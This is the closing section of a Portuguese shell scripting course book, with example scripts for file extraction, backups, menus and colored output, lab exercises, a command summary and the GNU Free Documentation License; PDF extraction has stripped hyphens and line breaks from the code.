#!/bin/sh # # **************************** # * Meleu Extraction Utility * # **************************** # http://meleu.da.ru # Este script é baseado no Phrack Extraction Utility, (mais informações # ). Fiz ele, primeiro para praticar, segundo para # servir como mais um exemplo no texto "Programação em BourneAgain Shell", # e último para extração dos códigos do texto. =P # ############# Se já existirem arquivos com o nome dos que serão extraídos # !CUIDADO! # eles serão sobregravados! Portanto, se você extrair uma vez, ############# alterar o(s) código(s) extraído(s) e extrair novamente, perderá as alterações feitas! # # Adbeel Goes Filho
ShellScripts 128
# A seguir eu vou comentar sobre o código fazendo referência aos tópicos # do texto "Programação em BourneAgain Shell". # # # + A função do IFS é explicada no tópico "2.2. Variáveis do Shell", neste script eu usei o IFS com valor nulo (vazio) para que os comandos considerem espaços que vêm antes de qualquer caractere como parte do dado. Se você fizer por exemplo "read var" e antes de entrar qualquer # coisa colocar espaços e/ou TAB, você verá que eles serão desconsiderados se o IFS tiver seu valor default (espaço, TAB, newline); # # + A opção r no read (explicada em 3.2. read) serve para ignorar o # poder que a contrabarra (backslash) tem de "escapar" os caracteres. Em # outras palavras: a opção r garante que quando o read receber uma # contrabarra ela será passada para a variável sem nenhum valor especial; # # + O cat enviando os dados para o read do while é explicado em # "5.5. Redirecionando loops" sob o título de "pipeando para o while"; # # + o set é usado para fazer com que cada palavra (palavra aqui tem um # sentido de conjunto de caracteres separados por aqueles definidos no # IFS) vire um parâmetro posicional, conforme explicado em # "2.4.2. set (para editar parâmetros posicionais)". A opção quer dizer # "acabaram as opções, o que vier a partir daqui são os valores dos # parâmetros de posição", esta opção serve para prevenir que alguma # informação que comece com o caractere seja considerado uma opção # sendo passada para o set; # # + No tópico "2.5. Substituição de Variáveis" você verá a explicação # de se usar "FILE=${FILE:.}/$1"; # # + Bom... acho que é isso. Leia o código, executeo, faça testes, # mude o código, executeo novamente, veja o que mudou nos resultados, # leia as manpages em caso de dúvidas... Enfim, use o método hacker de # aprender a programar! ;) # Espero que curta! # meleu <[email protected]> # # P.S.: Quer um "dever de casa"? Altere o código para que ele verifique # se já existe arquivos com o mesmo nome dos que estão prestes a # serem extraídos. Se existir, alertar o usuário sobre isso. Tente # também fazer meios de detecção dos possíveis erros que possam # ocorrer... # Ah, sei lá! Brinque com o código um pouco! =) # B="\e[1m" Adbeel Goes Filho
ShellScripts 129
N="\e[m" [ $# lt 1 ] && { echo e "${B}Erro: falta parâmetros$N" echo "Uso: `basename $0` arquivo1 [arquivoN]" exit 1 } [ w . ] || { echo e "${B}Erro: você não tem permissão de escrita neste diretório$N" exit 1 } OldIFS="$IFS" IFS= cat $@ | while read r LINHA ; do IFS="$OldIFS" set $LINHA case "$1" in '<++>') TempIFS="$IFS" IFS=/ set $2 IFS="$TempIFS" while [ $# gt 1 ]; do FILE=${FILE:.}/$1 [ d $FILE ] || mkdir $FILE shift done FILE="${FILE:.}/$1" if echo n 2>/dev/null > $FILE ; then echo "* Extraindo $FILE" else echo e "$B> houve um erro ao tentar extrair '$FILE'" echo e " este arquivo será ignorado.$N" unset FILE fi ;; '<>') unset FILE ;; *) [ "$FILE" ] && { IFS= echo "$LINHA" >> $FILE Adbeel Goes Filho
ShellScripts 130
} ;; esac done echo "> Fim <" 15.
Arquivos
Backup Diário #!/bin/bash # VIRTVS Engenharia e Informática Ltda # Assunto = Backup Diário # Data de Inclusão = 29/09/2002 # Data de Alteração = 29/09/2002 # Parâmetros tar = # c =Cria arquivo tar # f =Tratar o arquivo # r =Adicionar ao final de um arquivo tar # p =Preserva as permissões # z =Compactar com gzip # v =Exibe arquivos processados # W –verify =Verifica arquivo após graválo # P absolutenames =Preserva / # tar tvf =Exibe conteúdo do arquivo tar com as permissões clear BASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")" DESTINO=/tmp/ ARQUIVO_DESTINO=${DESTINO}${BASE}.tar ARQUIVO_DUMP=${DESTINO}${BASE}.pgdump ARQUIVO_ERRO="/tmp/erro.backup" TRACOS="" echo "Gerando $ARQUIVO_DESTINO ..." echo $TRACOS echo "Gerando $ARQUIVO_DUMP do PostgreSQL..." sudo u postgres pg_dump satis > $ARQUIVO_DUMP tar cf $ARQUIVO_DESTINO /etc 2> $ARQUIVO_ERRO tar rf $ARQUIVO_DESTINO /home 2>> $ARQUIVO_ERRO tar rf $ARQUIVO_DESTINO $ARQUIVO_DUMP 2>> $ARQUIVO_ERRO gzip f $ARQUIVO_DESTINO > ${ARQUIVO_DESTINO}.gz 2>> $ARQUIVO_ERRO mv ${ARQUIVO_DESTINO}.gz /mnt/hdc/backup 2>> $ARQUIVO_ERRO echo $TRACOS echo "Fim do Backup. Arquivo=$ARQUIVO_DESTINO" exit 0
Adbeel Goes Filho
ShellScripts 131
Backup Semanal #!/bin/bash # VIRTVS Engenharia e Informática Ltda # Assunto = Backup Semanal # Data de Inclusão = 29/09/2002 # Data de Alteração = 29/09/2002 # # Parâmetros tar = # c = # f = # r = # p = # z = # v = # W verify = # P absolutenames = # tar tvf = permissões clear
Cria arquivo tar Tratar o arquivo Adicionar ao final de um arquivo tar Preserva as permissões Compactar com gzip Exibe arquivos processados Verifica arquivo após graválo Preserva / Exibe conteúdo do arquivo tar com as
BASE="${HOSTNAME}_$(date "+%Y%m%d%H%M%S")" DESTINO="/mnt/hdc/" ARQUIVO_DESTINO=${DESTINO}${BASE}.tar ARQUIVO_OK="/tmp/ok.txt" ARQUIVO_ERRO="/tmp/erro.txt" TRACOS="" echo "Gerando Cópia em Background ..." echo $TRACOS cp R preserve –update /home $DESTINO 1> $ARQUIVO_OK 2> $ARQUIVO_ERRO & cp R preserve update /util $DESTINO 1>> $ARQUIVO_OK 2>> $ARQUIVO_ERRO & cp R preserve update /etc $DESTINO 1>> $ARQUIVO_OK 2>> $ARQUIVO_ERRO & cp R preserve update /var $DESTINO 1>> $ARQUIVO_OK 2>> $ARQUIVO_ERRO & echo $TRACOS echo "Fim" exit 0
Adbeel Goes Filho
ShellScripts 132
16.
Uso de Função
#!/bin/sh menu () { echo "Entre com uma opcao:" echo echo "1. Exibir Data e Hora" echo "2. Exibir Calendario" echo "3. Desligar o sistema" echo "4. Sair do programa" echo echo n "Escolha: " read escolha Funcao_Escolha } Funcao_Escolha () { case $escolha in 1) echo ; date ; echo ; menu ;; 2) echo ; cal ; echo ; menu ;; 3) halt ; 4) echo "Até mais" ; echo ; exit ;; esac } menu EXPR : Fazer contas matemáticas. sintaxe : expr 2 + 2 + adição subtração \* multiplicação / divisão % resto 17.
Colocando cor nas frases
Talvez vc seje vaidoso(a) e queira exibir mensagens com cor , então a sintaxe é :
Adbeel Goes Filho
ShellScripts 133
#!/bin/sh echo e "\\033[0;31m Testando \\031[0;0m"; # O script acima exibira na tela uma mensagem abaixo : # Testando ( mas a msg vai estar em vermelha ) Sendo que o 31 eh a cor da fonte : Tabela de cor : 30 preta 31 vermelha 32 verde 33 amarela 34 azul 35 rosa 36 azul piscina 37 branca {} FIM {}
Adbeel Goes Filho
ShellScripts 134
2. Laboratórios
Adbeel Goes Filho
ShellScripts 135
Laboratório 1 :Diversos ( 20060425 ) 1. Qual o resultado do último comando abaixo? Havendo problemas, qual será a correção ? #a=Universidade de #b=Fortaleza #echo $a$b 2. Qual o resultado de: #a=$(ls /tmp) #echo $a 3. Qual o resultado de: #echo $(ps aux | grep bash) 4. Qual o resultado de: #find / name *.html 1> /tmp/ok.txt 2> /tmp/erro.txt 5. Elabore um shellscript para copiar todo o conteúdo de um usuário, usando a substituição do ~ para o diretório /tmp/$USER 6. Elabore um shellscript para enviar para o email [email protected] a relação das variáveis globais e locais alocadas no presente shell. 7. Elaborar um shellscript para copiar todos os arquivos de jornalização em /var/log para o diretório /tmp/log utilizando a substituição de comandos. 8. Elabore um shellscript para calcular a soma dos n primeiros números inteiros positivos. Leia n em tempo de execução. 9. Elabore um shellscript para, dado um número n, exibir a Série de Fibonnacci até ele. Exemplo: 0 – 1 – 1 – 2 – 3 – 5 – 8 – ... 10.Elabore um shellscript para calcular o fatorial de um número n, passado por parâmetro. Exemplo: #./fatorial 6
Adbeel Goes Filho
ShellScripts 136
Adbeel Goes Filho
ShellScripts 137
Laboratório 2 :Comandos Condicionais Elabore os seguintes shellscripts. 1. Encontrar o maior dentre três números recebidos em tempo de execução. 2. Receber duas strings em tempo de execução e exibir uma mensagem se elas são iguais ou não. 3. Encontrar o registro com os dados do usuário do login no arquivo /etc/password 4. Encontrar e gerar um arquivo com a extensão teste.bak no diretório do usuário de login se ele não existir. 5. Remover arquivos temporários de determinado usuário (Não root). 6. Remover um arquivo cujo nome é lido em tempo de execução. 7. Verificar quais arquivos em /bin podem ser lidos pelo usuário atual. 8. Exibir, caso exista, o conteúdo do arquivo /var/log/squid/access.log no editor vi. 9. Verificar se um usuário está logado e enviar uma mensagem para ele pedindo desconexão. 10.Tratar arquivos de acordo com o menu:
M e n u del
Remover arquivo
ren
Renomear arquivo
cp
Copiar arquivo
me
Mandar conteúdo por email
end
Sair do aplicativo
Adbeel Goes Filho
ShellScripts 138
Laboratório 3 :Comandos de Repetição 1. Exibição de números de 1 a n #!/bin/bash read p “Qual o número n ?” n for $i in $(seq 1 $n) ; do echo “$i” done
2. Faça a geração de n números randômicos
Adbeel Goes Filho
ShellScripts 139
Laboratório 4 :Funções 1. Exemplo de Menu #!/bin/bash function opcao1 { echo “Opção 1” } function opcao2 { echo “Opção 2” return 10 } echo “Informe a Opção” read op case $op in 1) echo “Entrei na Função opcao1” opcao1 ;; 2) echo “Entrei na Função opcao2” opcao2 ;; exit 0 Observe que a chamada da função deverá vir após sua declaração. 2. Elabore uma calculadora aritmética simples.
Adbeel Goes Filho
ShellScripts 140
Laboratório 5 :Diversos
Elabore os seguintes shellscripts. 1. Inverter uma sequência de 'n' números ( 1 a n ). 2. Ler e exibir os usuários cadastrados em /etc/passwd 3. Consultar o IP associado a um nome de HOST ( Arquivo /etc/hosts) 4. Exibir as variáveis GLOBAIS associadas ao usuário logado. 5. Elabore um shell script para criar uma agenda de endereços.
M e n u – [Usuário] i
Incluir
a
Alterar
e
Excluir
c
Consultar
f
Fim
Adbeel Goes Filho
ShellScripts 141
Variáveis $0 $1 a $9 ${10}, ${11}... uso das chaves; $* $@ $# $? $$
é o nome do shellscript; $1 é o primeiro parâmetro, $9 o nono, e assim por diante; quando o número do parâmetro possui mais de um dígito é necessário o todos os parâmetros em uma única string (exceto o $0); todos os parâmetros, cada um em strings separadas (exceto $0); número de parâmetros (sem contar com o $0). valor de retorno do último comando (explicado mais adiante); PID do script.
Comando case case <parâmetro> in ) ;; [opção 2] ) ;; * ) < comandos se não for nenhuma das opções > ;; esac
Adbeel Goes Filho
ShellScripts 142
Resumo dos Comandos $0
é o nome do shellscript (a.k.a. parâmetro zero);
$1 a $9
$1 é o primeiro parâmetro, $9 o nono, e assim por diante;
${10}, ${11}..
quando o número do parâmetro possui mais de um dígito é necessário o uso das chaves;
$*
todos os parâmetros em uma única string (exceto o $0)
$@
todos os parâmetros, cada um em strings separadas (exceto $0)
$#
número de parâmetros (sem contar com o $0).
$?
valor de retorno do último comando (explicado mais adiante);
$$
PID do script;
$!
PID do último comando iniciado com &
x = 0 while [ "$x" le 10 ]; do echo "Execução número: $x"?; x = $((x+1)); done; for in <lista>; do comandos done; #!/bin/bash CONT=10 until [ $CONT eq 0 ]; do echo ne "$CONT\t" let CONT done echo case <parâmetro> in ) ;; [opção 2] ) ;; * ) < comandos se não for nenhuma das opções > ;; esac Adbeel Goes Filho
ShellScripts 143
3. Exercicios Lista 20040513 1. Escreva um script chamado clean para limpar seu diretório $HOME, removendo todos os arquivos com extensão "bak" ou "~" que não tenham sido acessados há pelo menos 3 dias. Dica: use os comandos find e rm . 2. Escreva um script para criar diretórios com nome DirXXX, onde XXX varia de 001 a 299. 3. Escreva um conjunto de scripts para gerenciar o apagamento de arquivos. O script del deve mover os arquivos passados como parâmetros para um diretório lixeira; o script undel deve mover arquivos da lixeira para o diretório corrente e o script lsdel deve listar o conteúdo da lixeira. O diretório lixeira deve ser definido através da variável de ambiente $LIXEIRA. 4. Funda os scripts do exercício anterior em um só script del, com os demais (undel e lsdel) sendo links simbólicos para o primeiro. Como fazer para que o script saiba qual a operação desejada quando ele for chamado, sem precisar informálo via parâmetros ? 5. Escreva um script para verificar quais hosts de uma determinada rede IP estão ativos. Para testar se um host está ativo, use o comando ping. A rede deve ser informada via linha de comando, no formato x.y.z, e o resultado deve ser enviado para um arquivo com o nome x.y.z.log. Deve ser testada a acessibilidade dos hosts de x.y.z.1 a x.y.z.254. O arquivo /etc/hosts contem os nomes dos hosts no formato:
Adbeel Goes Filho
ShellScripts 144
Relação de Comandos do ShellScript
if [condição]; then comandos1; else comandos2; fi; while [ condição ]; do comando 1; comando 2; ... done;
for in <lista>; do comandos done;
until <expressão>; do retornar FALSO> done case <parâmetro> in ) ;; [opção 2] ) ;; * ) < comandos se não for nenhuma das opções > ;; esac
select in <lista de opções>; do done;
Adbeel Goes Filho
ShellScripts 145
Índice alfabético Metacaracteres 40 Pipes 41 shell 10pp., 14pp., 21pp., 25, 28, 30, 32pp., 36, 38, 40p., 48pp., 59pp., 71, 82, 103, 106pp., 112, 115, 134p., 138 shift 25, 27, 33, 118, 120, 122, 125, 128
Adbeel Goes Filho
ShellScripts 146
5. GNU Free Documentation License Version 1.1, March 2000 Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 021111307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 0. PREAMBLE The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others. This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. 1. APPLICABILITY AND DEFINITIONS This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language. A "Secondary Section" is a named appendix or a frontmatter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. The "Cover Texts" are certain short passages of text that are listed, as FrontCover Texts or Back Cover Texts, in the notice that says that the Document is released under this License. A "Transparent" copy of the Document means a machinereadable copy, represented in a 106 format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text Adbeel Goes Filho
ShellScripts 147
formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque". Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine generated HTML produced by some word processors for output purposes only. The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text. 2. VERBATIM COPYING You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies. 3. COPYING IN QUANTITY If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: FrontCover Texts on the front cover, and BackCover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machinereadable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publiclyaccessible computernetwork location containing a complete Transparent copy of the Document, free of added material, which the general networkusing public has access to download anonymously at no charge using publicstandard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document. Adbeel Goes Filho
ShellScripts 148
4. MODIFICATIONS You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version: A.Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B.List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five). C.State on the Title page the name of the publisher of the Modified Version, as the publisher. D.Preserve all the copyright notices of the Document. E.Add an appropriate copyright notice for your modifications adjacent to the other copyright notices. F.Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below. G.Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H.Include an unaltered copy of this License. I.Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence. J.Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. K.In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. L.Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. M.Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version. N.N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section. O.If the Modified Version includes new frontmatter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other Adbeel Goes Filho
ShellScripts 149
section titles. You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various partiesfor example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard. You may add a passage of up to five words as a FrontCover Text, and a passage of up to 25 words as a BackCover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of FrontCover Text and one of BackCover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version. 5. COMBINING DOCUMENTS You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice. The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements." 6. COLLECTIONS OF DOCUMENTS You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document. 7. AGGREGATION WITH INDEPENDENT WORKS A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this this License does not apply to the other selfcontained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the Adbeel Goes Filho
ShellScripts 150
whole aggregate. 8. TRANSLATION Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires especial permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail. 9. TERMINATION You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 10. FUTURE REVISIONS OF THIS LICENSE The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. How to use this License for your documents. To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page: Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the FrontCover Texts being LIST, and with the BackCover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License". If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no FrontCover Texts, write "no FrontCover Texts" instead of "FrontCover Texts being LIST"; likewise for BackCover Texts. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
Adbeel Goes Filho
ShellScripts 151
Este trabalho foi composto e editado eletronicamente no Núcleo de Informática da VIRTVS Engenharia e Informática Ltda Rua Cel. Ribeiro da Silva, 391. Monte Castelo. FortalezaCeará. Telefone: 0 xx 85 32833124. http://www.virtvs.com.br
Adbeel Goes Filho